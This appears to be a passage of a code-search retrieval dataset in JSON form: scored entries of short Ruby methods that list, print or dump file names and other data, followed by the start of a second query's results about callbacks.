"text": "def to_s\n \"#{@name} => Files: \\n\\t#{@files.join \"\\n\\t\"}\\n Subpackages:\n \\t#{@subpackages.keys.join \"\\n\\t\"}\"\n end",
"title": ""
},
{
"docid": "a03dd56d722d925133f5fc8c32ef9882",
"score": "0.5379689",
"text": "def print_file(*) end",
"title": ""
},
{
"docid": "697c3dd82666a4a79bda6f39080035e0",
"score": "0.5373206",
"text": "def filenames\n file_stats.map(&:filename)\n end",
"title": ""
},
{
"docid": "277ad76f7054bade07f51b0c4e564c4b",
"score": "0.53472733",
"text": "def fprint(file)\n end",
"title": ""
},
{
"docid": "1a87ed0843dca35fca12b2fce45785d3",
"score": "0.53186667",
"text": "def pretty_print\n fields.values.sort_by{|value| value.key}.collect{|value| \"#{value.key}: #{value.join(', ')}\"}.join(\"\\n\")\n rescue ApeTagError => e\n \"CORRUPT TAG!: #{e.message}\"\n rescue Errno::ENOENT, Errno::EINVAL\n \"FILE NOT FOUND!\"\n end",
"title": ""
},
{
"docid": "4455a88651a93bf9e2686357dee4ce82",
"score": "0.53118384",
"text": "def dumpFilename\n DumpDir + '/' + @name + '-' + dateMark\n end",
"title": ""
},
{
"docid": "446043eebed26c1c3a7c65f8b8aa8eac",
"score": "0.53070194",
"text": "def formatted_file_list(title, source_files)\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-\\_]/, \"\")\n # Silence a warning by using the following variable to assign to itself:\n # \"warning: possibly useless use of a variable in void context\"\n # The variable is used by ERB via binding.\n title_id = title_id\n template(\"file_list\").result(binding)\n end",
"title": ""
},
{
"docid": "b18a3b1ece1b6a52f46fd437984fd9af",
"score": "0.5306683",
"text": "def dump\n puts \"#{self}:\"\n puts\n\n puts \"fil header:\"\n pp fil_header\n puts\n\n puts \"fil trailer:\"\n pp fil_trailer\n puts\n end",
"title": ""
},
{
"docid": "059a0fb5e4b7a39de95b5abee5d6e948",
"score": "0.5303323",
"text": "def dump_strings(output_file)\r\n if (@number_of_strings > 0)\r\n File.open(output_file, \"w:UTF-8\") do |file|\r\n @strings.each do |str|\r\n file.puts(str)\r\n end\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "0850fdbd4748fbd5ed479cc81933dc14",
"score": "0.5300402",
"text": "def inspect\n \"File: #{@name} #{@ext}\"\n end",
"title": ""
},
{
"docid": "5ef87e5c63aac412efee4cc14f8387b6",
"score": "0.5296901",
"text": "def file_name_list\n @target.source_build_phase.file_display_names\n end",
"title": ""
},
{
"docid": "cfbfa7b304244a2b5e59c526bc3af876",
"score": "0.5262772",
"text": "def list\n BakFile.where('saved = ?', true).each do |file|\n Log.instance.info(\"#{file.fid},#{file.dkey},#{file.length},#{file.classname}\")\n break if SignalHandler.instance.should_quit\n end\n end",
"title": ""
},
{
"docid": "bd6dd3db00f06d253477459385431512",
"score": "0.5228051",
"text": "def output_project_files_debugging\n\t\tself.prompt.say( \"Project files:\", color: :bright_green )\n\t\ttable = self.generate_project_files_table\n\t\tif table.empty?\n\t\t\tself.prompt.warn( \"None.\" )\n\t\telse\n\t\t\tself.prompt.say( table.render(:unicode, padding: [0,1]) )\n\t\tend\n\t\tself.prompt.say( \"\\n\" )\n\n\t\tself.prompt.say( \"Version from:\" )\n\t\tself.prompt.say( \" \" + self.version_from.to_s, color: :bold )\n\t\tself.prompt.say( \"\\n\" )\n\tend",
"title": ""
},
{
"docid": "d9f6a9aa1f7303c34d54488d15739438",
"score": "0.52258897",
"text": "def dump\n map(&:dump)\n end",
"title": ""
},
{
"docid": "ffb9f40e519068b804b672416f93659a",
"score": "0.52236456",
"text": "def display(results, options={})\n results.keys.sort.each do |file|\n puts \"#{file}:\"\n results[file].each do |note|\n puts \" * #{note.to_s(options)}\"\n end\n puts\n end\n end",
"title": ""
},
{
"docid": "770949c32f2933dd21e5662f69002fa6",
"score": "0.5210979",
"text": "def filenames\n files.map(&:filename)\n end",
"title": ""
},
{
"docid": "770949c32f2933dd21e5662f69002fa6",
"score": "0.5210979",
"text": "def filenames\n files.map(&:filename)\n end",
"title": ""
},
{
"docid": "770949c32f2933dd21e5662f69002fa6",
"score": "0.5210979",
"text": "def filenames\n files.map(&:filename)\n end",
"title": ""
},
{
"docid": "430110a28728c869bf91ab646bbff694",
"score": "0.5207522",
"text": "def file_desc\n \"Files (#{file_ext(',')})\"\n end",
"title": ""
},
{
"docid": "b6be8f800ec2b97a1b8599472723da6e",
"score": "0.5200791",
"text": "def print_all(f)\n # print the whole files\n puts f.read\n # end of function block\nend",
"title": ""
},
{
"docid": "64521e1108ff777c2f04e3cf3ed0a26e",
"score": "0.5195525",
"text": "def print_raw(filename = @event.printed_name)\n confirm_filename(filename)\n filename << \"_raw.txt\"\n File.open(filename, \"w+\") do |file|\n file.puts @event.printed_name\n @list.map do |elt|\n file.puts elt.raw\n end\n end\n end",
"title": ""
},
{
"docid": "cc5ab52cbcc559bc6c74b145729d189e",
"score": "0.51903415",
"text": "def dump(filename)\n puts \"Handling #{filename}\"\n if (File.directory?(filename))\n puts \"Skipping directory #{filename}.\"\n end\n begin \n puts YAML::dump(Mp3Info.open(filename))\n rescue Mp3InfoError\n puts \"Could not parse #{filename} for ID3 tags, skipping.\"\n end\nend",
"title": ""
},
{
"docid": "fd13c87129342241ffa5d45a23c7aad8",
"score": "0.5188129",
"text": "def filenames\n @filenames ||= files.map(&:to_s)\n end",
"title": ""
},
{
"docid": "694a4107c5dd545de4db4f06efdb2c95",
"score": "0.51825225",
"text": "def print_names\n @file.each do |line|\n puts \"#{line[:first_name]} #{line[:last_name]} \"\n end\n end",
"title": ""
},
{
"docid": "2064738ac168122009bfa74a0e8fad8e",
"score": "0.51821786",
"text": "def dump\n general_prefix.join(' ')\n end",
"title": ""
},
{
"docid": "16ef2e4312ec88503522ea025cca92ce",
"score": "0.51793414",
"text": "def filenames\n @files.collect { |f| f.archive_filename }\n end",
"title": ""
},
{
"docid": "921e066ca62f8dd815a86b8a1a0b4793",
"score": "0.51748586",
"text": "def write_to_file(filename)\n IO.write(filename, @all_tasks.map(&:display).join(\"\\n\"))\n\tend",
"title": ""
},
{
"docid": "76e22cd26f2759ccf01f6d4f4979d0fd",
"score": "0.51737577",
"text": "def formatted_file_list(title, result, source_files, options = {})\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-\\_]/, \"\")\n # Silence a warning by using the following variable to assign to itself:\n # \"warning: possibly useless use of a variable in void context\"\n # The variable is used by ERB via binding.\n title_id = title_id\n options = options\n\n template(\"file_list\").result(binding)\n end",
"title": ""
},
{
"docid": "cf2c2f8ac76612211a537f804e5cce0e",
"score": "0.51701367",
"text": "def dump\n\n @seen.collect { |msg| fancy_print(msg) }.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "cb138960ecccb12f19eeb54d04ad9eca",
"score": "0.51339024",
"text": "def print_file files_so_far, filename\n progress_bar = sprintf(\"%3d%% [%2d/%2d] \",\n 100 * files_so_far / @num_files,\n files_so_far,\n @num_files)\n\n if $stdout.tty?\n # Print a progress bar, but make sure it fits on a single line. Filename\n # will be truncated if necessary.\n size = IO.respond_to?(:console_size) ? IO.console_size : IO.console.winsize\n terminal_width = size[1].to_i.nonzero? || 80\n max_filename_size = (terminal_width - progress_bar.size) - 1\n\n if filename.size > max_filename_size then\n # Turn \"some_long_filename.rb\" to \"...ong_filename.rb\"\n filename = filename[(filename.size - max_filename_size) .. -1]\n filename[0..2] = \"...\"\n end\n\n # Clean the line with whitespaces so that leftover output from the\n # previous line doesn't show up.\n $stdout.print(\"\\r\\e[K\") if @last_width && @last_width > 0\n @last_width = progress_bar.size + filename.size\n term = \"\\r\"\n else\n term = \"\\n\"\n end\n $stdout.print(progress_bar, filename, term)\n $stdout.flush\n end",
"title": ""
},
{
"docid": "d146f08709f64a9b340c6b7eb40fee26",
"score": "0.51271117",
"text": "def filenames; end",
"title": ""
},
{
"docid": "8c6354bbf0a5477f272f51b94083589d",
"score": "0.5124874",
"text": "def output_files\n get_info :output_files\n end",
"title": ""
},
{
"docid": "08c0d66864f762e2adeb20db23941e55",
"score": "0.5117359",
"text": "def to_s\n s = \"\"\n saved.each do |name, list|\n s << \"[#{name}]\\n\"\n list.each do |path, id|\n s << \"#{id} #{path}\\n\"\n end\n s << \"\\n\"\n end\n s\n end",
"title": ""
},
{
"docid": "9a74a77f1af8d1b6e90e817fb3a407ba",
"score": "0.511125",
"text": "def to_s(indent = 0)\n indent_increment = 2\n child_indent = indent + indent_increment\n res = super\n @files.each_value do |file|\n res += \"\\n\" + file.to_s(child_ident)\n end if @files\n @dirs.each_value do |dir|\n res += \"\\n\" + dir.to_s(child_ident)\n end if @dirs\n res\n end",
"title": ""
},
{
"docid": "b0579e1a8c5f3d3178ee74726926c67a",
"score": "0.50972277",
"text": "def to_s\n \"#{@filename}: #{@name}#{@args}\\n\"\n end",
"title": ""
},
{
"docid": "ae30dba5568b7952e7e6f91f6a68395b",
"score": "0.50716746",
"text": "def to_s(indent = 0)\n indent_increment = 2\n child_indent = indent + indent_increment\n res = super()\n @files.each_value do |file|\n res += \"\\n\" + file.to_s(child_indent)\n end if @files\n @dirs.each_value do |dir|\n res += \"\\n\" + dir.to_s(child_indent)\n end if @dirs\n res\n end",
"title": ""
},
{
"docid": "9ff42f57e1d5cb75598317366f95af32",
"score": "0.5063406",
"text": "def output_without_extension(i)\n tmp_path i.to_s\n end",
"title": ""
},
{
"docid": "3c8f67c3cd35ca65de5d9cdaf6ff0225",
"score": "0.5062273",
"text": "def verbose(*args)\n if @verbose\n $stderr.puts args\n end\n end",
"title": ""
},
{
"docid": "44c571b2bf5120fe29eab9d45ff664bd",
"score": "0.5056991",
"text": "def stringify_files(files)\n is_array = files.is_a? Array\n unless is_array\n files = [files]\n end\n files.collect! do |file|\n unless file.is_a? Repository::RevisionFile\n raise TypeError, 'Expected a Repository::RevisionFile'\n end\n rev = get_revision(file.from_revision.to_s)\n content = rev.files_content[file.to_s]\n if content.nil?\n raise FileDoesNotExistConflict, File.join(file.path, file.name)\n end\n content # spews out content to be collected (Ruby collect!() magic) :-)\n end\n if !is_array\n files.first\n else\n files\n end\n end",
"title": ""
},
{
"docid": "12c0bc021039f27500e71bd0fa8e6073",
"score": "0.50482976",
"text": "def dump_file(array)\n # flush to YAML file\n File.open(File.dirname(__FILE__) + \"/ars_dump.yml\", \"a\") do |file|\n puts \"review_buffer: #{array.size} || reviews: #{self.reviews.size} || page_count: #{self.limit_count}\"\n array.each do |review|\n file.puts YAML::dump(review)\n end\n end\n end",
"title": ""
},
{
"docid": "cc9b1eea7e3851c4243d4c91745e0720",
"score": "0.5035149",
"text": "def quickout results\r\n\tout = File.open('out.txt','w')\r\n\tout.sync=true\r\n\t\r\n\tresults.each_pair do |k,v|\r\n\t\tname, images, interwikimap = k, *v\r\n\t\t\r\n\t\tout.puts \"* [[#{name}]]\"\r\n\t\tout.puts images.to_a.map{|img, langs| \r\n\t\t\t\"** [[:commons:File:#{img}|]] na #{langs.uniq.map{|l| \"[[:#{l}:#{interwikimap[l.to_s]}|#{l}]]\"}.join ','}\"\r\n\t\t}\r\n\tend\r\n\t\r\n\tout.close\r\n\t\r\n\treturn ['out.txt']\r\nend",
"title": ""
},
{
"docid": "62e06cc538d1729e6b1c7b82c106c2a1",
"score": "0.50338924",
"text": "def print\n # trace \"@filename2books:\"\n if @filename2books\n @filename2books.each do |_filename,books|\n # trace \" filename: #{filename}\"\n # trace \" books:\"\n if books.empty?\n # trace \" []\"\n else\n books.each do |book|\n if book.weakref_alive?\n # trace \"#{book}\"\n else # this should never happen\n # trace \"weakref not alive\"\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6f8dda64ce20f2b4451d21d61869dfbc",
"score": "0.5030989",
"text": "def verbose(m)\n $stderr.puts(m) if $verbose\nend",
"title": ""
},
{
"docid": "74899e99d920ff5e8bb2a8891479975c",
"score": "0.5018537",
"text": "def print_tracks tracks\n\tputs 'Tracks: '\n\tfor i in 0...tracks.length do\n\t\ttrack = tracks[i]\n\t puts '*********************************************'\n\t puts '**************** Track No. ' + (i + 1).to_s + ' ****************'\n\t\tputs 'Track name: ' + track.name\n\t\tputs 'Track file location: ' + track.location\n\t\ti += 1\n\tend\nend",
"title": ""
},
{
"docid": "abaece26ba4e60487c379d3e5b062571",
"score": "0.5016808",
"text": "def output_status files\n # new files (ansi green)\n if files[:added].length > 0\n print \"\\033[32m\"\n puts \"\\nNew Files\"\n puts \"=========\\n\\n\"\n\n files[:added].each do |file|\n puts \"* #{file}\"\n end\n puts \"\"\n end\n\n # modified files (ansi yellow)\n if files[:modified].length > 0\n print \"\\033[33m\"\n puts \"\\nModified Files\"\n puts \"==============\\n\\n\"\n\n files[:modified].each do |file|\n puts \"* #{file}\"\n end\n end\n\n # deleted files (ansi red)\n if files[:deleted].length > 0\n print \"\\033[31m\"\n puts \"\\nDeleted Files\"\n puts \"=============\\n\\n\"\n\n files[:deleted].each do |file|\n puts \"* #{file}\"\n end\n\n puts \"\"\n end\n\n # nothing changed\n if files[:added].length == 0 && files[:modified].length == 0 && files[:deleted].length == 0\n print \"Nothing has changed since your last save!\"\n end\n\n # ansi reset\n print \"\\033[0m\\n\"\n end",
"title": ""
},
{
"docid": "ab3c9efe4370623dfa52bab49ba69fa5",
"score": "0.5015384",
"text": "def print_saves\n puts 'Current saves:'\n Dir.children(SAVE_FOLDER).each { |file| puts file.delete('.JSON') }\n end",
"title": ""
},
{
"docid": "179ea87522df4a2bf1dd091870b69cae",
"score": "0.50049716",
"text": "def files\n filename = Dir.entries(@path).find_all {|file| file.include?(\".mp3\")}\n # binding.pry\n # [[\"Thundercat - For Love I Come - dance.mp3\",\n # \"Real Estate - It's Real - hip-hop.mp3\",\n # \"Action Bronson - Larry Csonka - indie.mp3\",\n # \"Real Estate - Green Aisles - country.mp3\"]]\n\n #binding.pry\n end",
"title": ""
},
{
"docid": "7f2d79287845d1d8af32fa737d6b1dec",
"score": "0.5004686",
"text": "def files\n files_equivs = \"\"\n @package.documents.each do |file|\n ActiveRecord::Base.logger.info(\"#{file.attach_file_name} #{file.install_path}\")\n files_equivs += \"#{file.attach_file_name} #{file.install_path}\\n\\t\"\n end\n files_equivs\n end",
"title": ""
},
{
"docid": "722be0d8e1f14b06b31a19745b79ecc2",
"score": "0.50021714",
"text": "def display_files(pathname)\n # `find` doesn't follow symlinks, so we should instead\n realpath = ArduinoCI::Host.symlink?(pathname) ? ArduinoCI::Host.readlink(pathname) : pathname\n\n # suppress directories and dotfile-based things\n all_files = realpath.find.select(&:file?)\n non_hidden = all_files.reject { |path| file_is_hidden_somewhere?(path) }\n\n # print files with an indent\n puts \" Files (excluding hidden files): #{non_hidden.size}\"\n non_hidden.each { |p| puts \" #{p}\" }\nend",
"title": ""
},
{
"docid": "1a76b0c1b26c28fd70ebadf16242d4be",
"score": "0.4998482",
"text": "def file_list_string(pathnames, indent)\n spaces = ' ' * indent\n\n unless pathnames.empty?\n paths = pathnames.map { |pathname| \"'#{pathname.to_s}'\" }\n paths.join(\",\\n#{spaces}\")\n else\n spaces += '[]'\n end\n end",
"title": ""
},
{
"docid": "ea195596cd6bba3d976afb291a654a0c",
"score": "0.49926418",
"text": "def dump\n puts\n puts \"WorkFlow '#{ @label }' consists of the following tasks:\"\n @task_list.each{ |t| t.dump }\n puts\n end",
"title": ""
},
{
"docid": "6ffa3c1669d3e057ab609de253f3bf6a",
"score": "0.498393",
"text": "def print_archive(filename)\n header = Enumerator.new do |out|\n out << \"Contents of: #{filename}\"\n end\n\n header + (\n case filename\n when /\\.tar\\.zst$/\n depends bins: \"zstd\"\n run(\"tar\", \"-Izstd\", \"-tvf\", filename)\n else\n depends bins: \"atool\"\n run(\"atool\", \"-l\", filename)\n end\n )\nend",
"title": ""
},
{
"docid": "7568495415afe09bc30e82c800a3d343",
"score": "0.49804887",
"text": "def file_list files\n files.map { |gf| link_to_file(gf) }.join(', ').gsub(/\"/, \"'\")\n end",
"title": ""
},
{
"docid": "11e35bff6a38656aa8f2e9197c44bbfa",
"score": "0.49796194",
"text": "def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end",
"title": ""
},
{
"docid": "59dcf08b6d015be5457b4ac83f472468",
"score": "0.49787042",
"text": "def for_calc(files)\n files[0].each_index do |i|\n string = files[0][i].file_name + \"\\t\"\n for f in files\n string += f[i].percent_realtime.to_s + \"%\\t\"\n end\n puts string\n end\nend",
"title": ""
},
{
"docid": "c62fcee937f47748bc478cbe1a3b55d2",
"score": "0.4970563",
"text": "def print_list(dir = PProf::ProvisioningProfile::DEFAULT_DIR, options)\n errors = []\n Dir[dir + '/*.mobileprovision'].each do |file|\n begin\n p = PProf::ProvisioningProfile.new(file)\n next if block_given? && !yield(p)\n\n @output.print options[:mode] == :uuid ? p.uuid.chomp : file.chomp\n @output.print options[:zero] ? \"\\0\" : \"\\n\"\n rescue Exception => e\n errors << { :message => e, :file => file }\n end\n end\n unless errors.empty?\n errors.each { |e| print_error(e[:message], e[:file]) }\n end\n end",
"title": ""
},
{
"docid": "d26b4385c8f9b40a06df1ed5a58f959f",
"score": "0.49658847",
"text": "def file_dumps\r\n Dir.new(translation_base).entries.select{|x| x['.yml']}\r\n end",
"title": ""
},
{
"docid": "e6628849813d33f6aef774f0d2a90a44",
"score": "0.4962079",
"text": "def print_songs\n puts @songs.collect {|song| song.name}\n end",
"title": ""
},
{
"docid": "b16736019a45afe49d733a048ab01e03",
"score": "0.49603605",
"text": "def dump out_file, title=@title\n format.dump @stats, out_file, title\n end",
"title": ""
},
{
"docid": "52e78459d5d8a9167e5b3262872bf9a4",
"score": "0.49570066",
"text": "def find_dups(hash)\n open(\"dups.txt\", 'w') do |f|\n f.puts '=== Identical Files ===' \n hash.each_value do |a|\n next if a.length == 1\n a.each { |fname| f << (\"\\t\" + fname) }\n f << \"\\n\\n\"\n end\n end\nend",
"title": ""
},
{
"docid": "e5ed7e252158dfef44f6fe0e87691a62",
"score": "0.49421042",
"text": "def describe\n f = file!\n puts \"Current target: #{f.basename}\"\n puts '*' * 70\n File.open(f).each do |line|\n puts \" #{line}\"\n end\n puts '*' * 70\n end",
"title": ""
},
{
"docid": "d62ffbb338abcacd8cf040688c4c1fbe",
"score": "0.49404773",
"text": "def print_ls(path = '/')\n elements = ls(path)\n elements.each do |e|\n puts e.longname\n end\n end",
"title": ""
},
{
"docid": "4d62b62dece1c4b75977cfa15bb06b1a",
"score": "0.49326703",
"text": "def track_print track\n @filehandle << @track_separator + \"<key>#{track[:key]}</key>\"\n @filehandle << @track_separator + \"<dict>\"\n track[:dict].each { |row|\n track_row_print row\n }\n @filehandle << @track_separator + \"</dict>\"\n end",
"title": ""
},
{
"docid": "1f235f8ad04bdd6be77b54b1b0135c9f",
"score": "0.4932612",
"text": "def dump_all\n puts \"----------------------------------------------------------------------\"\n puts \" AUDIT ID: #{self.id}\\t\\t\\tDESIGN: #{self.design.directory_name}\"\n puts \" DESIGN CHECKS: #{self.design_checks.size.to_s}\"\n puts \" SELF COMPLETE: #{self.designer_complete?.to_s} \" +\n \" #{self.designer_completed_checks.to_s} (#{self.self_percent_complete.to_s}%)\\t\\t\" +\n \" PEER COMPLETE: #{self.auditor_complete?.to_s} \" +\n \" #{self.auditor_completed_checks.to_s} (#{self.peer_percent_complete.to_s}%)\"\n puts \"----------------------------------------------------------------------\"\n\n self.design_checks.each do |design_check|\n printf(\" DESIGN CHECK ID: %5d\\n\", design_check.id)\n printf(\" Self Auditor: %25s Result: %10s At: %25s\\n\",\n User.find(design_check.designer_id).name,\n design_check.designer_result,\n design_check.designer_checked_on.format_dd_mm_yy_at_timestamp.to_s) if design_check.designer_id > 0\n printf(\" Peer Auditor: %25s Result: %10s At: %25s\\n\",\n User.find(design_check.auditor_id).name,\n design_check.auditor_result,\n design_check.auditor_checked_on.format_dd_mm_yy_at_timestamp.to_s) if design_check.auditor_id > 0\n end\n \n puts \"----------------------------------------------------------------------\"\n end",
"title": ""
},
{
"docid": "250ed1cff610a44badc6f19cc79364f2",
"score": "0.492292",
"text": "def _dump(depth)\n \"\"\n end",
"title": ""
},
{
"docid": "250ed1cff610a44badc6f19cc79364f2",
"score": "0.492292",
"text": "def _dump(depth)\n \"\"\n end",
"title": ""
},
{
"docid": "c872f16ee6aa7b47bc3921c22825b775",
"score": "0.4922404",
"text": "def dump\n @formatters.each{|f| f.start_dump}\n dump_failures\n @formatters.each{|f| f.dump_summary(duration, @example_names.length, @failures.length)}\n @failures.length\n end",
"title": ""
},
{
"docid": "73af62cd65151530626daa75c54b33d3",
"score": "0.49108922",
"text": "def print_track track\n\t\tputs('Title: ' + track.name.to_s)\n \tputs('File location: ' + track.location.to_s)\nend",
"title": ""
},
{
"docid": "f15957e0852fb146a2802c8ff844a49a",
"score": "0.49108347",
"text": "def print_variables() #method\n puts \"Variables directory:\"\n @variables.each do |key, variable|\n puts \"------------------------------------------------------\"\n puts(\"|Name: #{variable.name}, Type: #{variable.type}, Size: #{variable.size}, Dir: #{variable.memory_dir}, Dim Obj: #{variable.dim_objs}|\")\n puts \"------------------------------------------------------\"\n end\n end",
"title": ""
},
{
"docid": "ade12e8798466955cd2b250b4e88259d",
"score": "0.49103203",
"text": "def dump\n dump_print(\"PREFIX\", dump_sub(PREFIX, 1.0, {}))\n dump_print(\"CONSONANTS\", dump_sub(CONSONANTS, 1.0, {}))\n dump_print(\"VOWELS\", dump_sub(VOWELS, 1.0, {}))\n dump_print(\"SUFFIX\", dump_sub(SUFFIX, 1.0, {}))\n end",
"title": ""
},
{
"docid": "dfb132528c093a5fe7ae76cd66eb8d18",
"score": "0.49023014",
"text": "def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"title": ""
},
{
"docid": "ceb70554e51d3d3a3a424542f8a688ce",
"score": "0.4899811",
"text": "def print_songs\n song_names = []\n self.songs.collect {|song| song_names << song.name}\n puts song_names\n end",
"title": ""
},
{
"docid": "cc8888d108964eecbca21b3c69e2490d",
"score": "0.4896274",
"text": "def show_saved\n\t\tputs Dir.glob(\"./saved_games/*\")\n\tend",
"title": ""
},
{
"docid": "a8a2c45db8eed1c1a589531142a6873e",
"score": "0.48951092",
"text": "def print_path\n @path.each{|x| puts x.inspect}\n end",
"title": ""
},
{
"docid": "4483278bb4712202d56a8fea2f5a9c02",
"score": "0.48785275",
"text": "def verbose(array)\n array.map { |elt| VERBOSE_PERMS[elt] }.sort\n end",
"title": ""
},
{
"docid": "a981fe8189c2c823300e1c75f6fd6b00",
"score": "0.48778492",
"text": "def print_dupes(paths)\n @dest.puts \"Duplicates found on paths:\"\n @dest.puts paths.map { |p| \"\\t#{p}\" }\n end",
"title": ""
},
{
"docid": "5e26757d3460abe96b6e7e556fb5b369",
"score": "0.48718894",
"text": "def print_stat\n puts \"\\n\"\n puts \"********************\"\n puts \"Statistics:\"\n\n puts \"\\n\"\n puts \"Failed: #{$fail_uploaded_count}\"\n $not_uploaded_features_list.each do |feature|\n puts feature\n end\n\n puts \"\\n\"\n puts \"Success: #{$success_uploaded_count}\"\n $uploaded_features_list.each do |feature|\n puts feature\n end\n puts \"********************\"\n\n File.write('result.log', \"#{$updated_count},#{$created_count},#{$deleted_count}\")\nend",
"title": ""
},
{
"docid": "8567b657cefe57108440c41d70435a88",
"score": "0.4870454",
"text": "def print(filename, symbols = {})\n serialised = self.to_s(symbols)\n \n File.open(filename, \"w+\") do |f|\n f.puts(serialised)\n end\n \n serialised\n end",
"title": ""
},
{
"docid": "9ab4d40bf5dc69458c7d5342f16ce7d7",
"score": "0.4867661",
"text": "def printDups(dupsHashArray)\n puts \"Writing duplicates to: /tmp/duplicates.txt\"\n File.open(\"/tmp/duplicates.txt\",\"w\") do |f|\n dupsHashArray.each { |element| f.puts(element[:filePath] + \" : \" + element[:duplicatePath]) }\n end \n end",
"title": ""
},
{
"docid": "0dedafa0941633995129eccf20eae0b4",
"score": "0.48562098",
"text": "def debug_emit(fname = \"output\")\n file = File.new(fname+\".debug\", \"w+\")\n @instr.each{|i|\n file.puts \"#{i.to_s}\"\n }\n file.close \n end",
"title": ""
},
{
"docid": "cbdec5bfc200f31a46304b26953e2414",
"score": "0.4849799",
"text": "def info_files\n @queue << \"i f\"\n end",
"title": ""
},
{
"docid": "fba54a7258f59899f0905dc8a16fd1f0",
"score": "0.48454493",
"text": "def print_list(dir: PProf::ProvisioningProfile::DEFAULT_DIR, options:) # rubocop:disable Style/OptionalArguments\n errors = []\n Dir['*.mobileprovision', base: dir].each do |file_name|\n file = File.join(dir, file_name)\n p = PProf::ProvisioningProfile.new(file)\n next if block_given? && !yield(p)\n\n @output.print options[:mode] == :list ? p.uuid.chomp : file.chomp\n @output.print options[:zero] ? \"\\0\" : \"\\n\"\n rescue StandardError => e\n errors << { message: e, file: file }\n end\n errors.each { |e| print_error(e[:message], e[:file]) } unless errors.empty?\n end",
"title": ""
},
{
"docid": "24efd1352232e6d61f74626263ad4b14",
"score": "0.48437008",
"text": "def file_listings_html_string(file_paths, folder_name)\n file_paths.map do |path|\n dist_file_name = file_name_from_path(sanitize_path(path))\n dist_final_path = public_path(folder_name, dist_file_name)\n next file_listing_html_string(dist_final_path, dist_file_name)\n end.join(\"<br>\")\n end",
"title": ""
},
{
"docid": "9d0eefb268b822e996f35d583cce2073",
"score": "0.48434147",
"text": "def dump\n str_array = []\n @children.each_pair { |_, value| str_array << value.dump }\n str_array.join(', ')\n end",
"title": ""
},
{
"docid": "1e703dac5943e6cd1163bd7f0c1a1c97",
"score": "0.48426402",
"text": "def vprint(text)\n print text if $verbose\nend",
"title": ""
},
{
"docid": "82144386de32d64e5f607a05e1f61310",
"score": "0.48376277",
"text": "def dump_outputs\n @outputs.each do |(format, file_name)|\n section \"Write #{format} file #{file_name}\" do\n write_graph(file_name, format)\n end\n end\n end",
"title": ""
},
{
"docid": "910cb17fe51272878aa3670657dbe3d5",
"score": "0.4833411",
"text": "def verbose(string_to_output)\n puts string_to_output if $verbose\nend",
"title": ""
},
{
"docid": "8a81767f5e20acad93d1f306e37cca99",
"score": "0.48327535",
"text": "def list_all_fusion_vm_snapshots(options)\n vm_list = get_available_fusion_vms(options)\n vm_list.each do |vmx_file|\n options['name'] = File.basename(vmx_file,\".vmx\")\n list_fusion_vm_snapshots(options)\n end\n return\nend",
"title": ""
},
{
"docid": "7b4d1870070127625c0a0209f32c5dcb",
"score": "0.48281965",
"text": "def do_attach\n \n @options.files.each { |file|\n \n next if not File.exists? file\n \n @open = false\n @open_proc = ''\n @lines = ''\n \n File.new(file).each { |line|\n \n if line =~ /^\\s*call\\s+([a-z0-9_.]+)\\s*\\(/i then\n if not $1.include? 'debug'\n @open = true\n @open_proc = $1\n @lines += sprintf(\"CALL debug.on('%s');\", $1) + \" -- added by ghetto_profile\\n\"\n @lines += line\n end_debug(line)\n\n else\n @lines += line\n end_debug(line)\n \n end\n else\n @lines += line\n end_debug(line)\n\n end\n \n }\n \n File.new(file, 'w').write(@lines)\n \n }\n \n end",
"title": ""
},
{
"docid": "d1bac205f76d75280a92492c706041cb",
"score": "0.4822664",
"text": "def format ary\n #buff = Array.new\n buff = Array.new(ary.size)\n return buff if ary.nil? || ary.size == 0\n\n # determine width based on number of files to show\n # if less than sz then 1 col and full width\n #\n # ix refers to the index in the complete file list, wherease we only show 60 at a time\n ix=0\n ctr=0\n ary.each do |f|\n ## ctr refers to the index in the column\n #ind=$IDX[ix]\n ind = get_shortcut(ix)\n mark=\" \"\n mark=\" * \" if $selected_files.index(ary[ix])\n\n if $long_listing\n begin\n unless File.exist? f\n last = f[-1]\n if last == \" \" || last == \"@\" || last == '*'\n stat = File.stat(f.chop)\n end\n else\n stat = File.stat(f)\n end\n f = \"%10s %s %s\" % [readable_file_size(stat.size,1), date_format(stat.mtime), f]\n rescue Exception => e\n f = \"%10s %s %s\" % [\"?\", \"??????????\", f]\n end\n end\n\n s = \"#{ind}#{mark}#{f}\"\n\n buff[ctr] = s\n\n ctr+=1\n ix+=1\n end\n return buff\nend",
"title": ""
},
{
"docid": "c00472be83ee688e81d9a1d133e2f858",
"score": "0.48106644",
"text": "def print_all(f)\n\tputs f.read #function to access and print the entire test file\nend",
"title": ""
},
{
"docid": "8f92f2bc1017f7bff3f04ea7f2b21ed5",
"score": "0.480779",
"text": "def print_storage_info()\n puts(\"Correctly received sequences file:\\t#{@received_file_path}\")\n puts(\"Wrongly received sequences file:\\t#{@failed_file_path}\")\n puts(\"Processed received sequences file:\\t#{@processed_file_path}\")\n end",
"title": ""
},
{
"docid": "f5aadbe47604de63593747f6c4109a6d",
"score": "0.48075542",
"text": "def vputs(s)\n $stderr.puts s if verbose\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "eb6473c413f41b656fe6d669793f07de",
"score": "0.0",
"text": "def set_member\n @member = Member.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163443",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.604317",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5943409",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.59143174",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
